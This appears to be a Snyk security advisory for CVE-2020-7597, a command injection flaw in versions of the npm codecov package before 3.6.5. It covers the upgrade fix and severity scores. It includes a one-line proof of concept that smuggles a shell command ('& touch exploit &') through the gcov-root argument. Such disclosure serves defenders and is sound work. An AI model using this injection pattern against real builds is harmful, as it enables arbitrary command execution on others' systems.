

Command Injection

Affecting `codecov` package, versions <3.6.5

INTRODUCED: 16 FEB 2020 CVE-2020-7597 CWE-78 FIRST ADDED BY SNYK Share

How to fix?

Upgrade `codecov` to version 3.6.5 or higher.

Overview

`codecov` is a npm package for uploading reports to Codecov.

Affected versions of this package are vulnerable to Command Injection. The value provided as part of the `gcov-root` argument is executed by the `exec` function within `lib/codecov.js`. This vulnerability exists due to an incomplete fix of CVE-2020-7596.

PoC by JHU System Security Lab

```
var root = require("codecov"); var args = { "options": { 'gcov-root': "& touch exploit &", 'gcov-exec': ' ', 'gcov-args': ' ' } } root.handleInput.upload(args, function(){}, function({}));
```

References

- GitHub Commit

PRODUCT

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Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH

See more

> NVD 8.8 HIGH

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Snyk ID	SNYK-JS-CODECOV-548879
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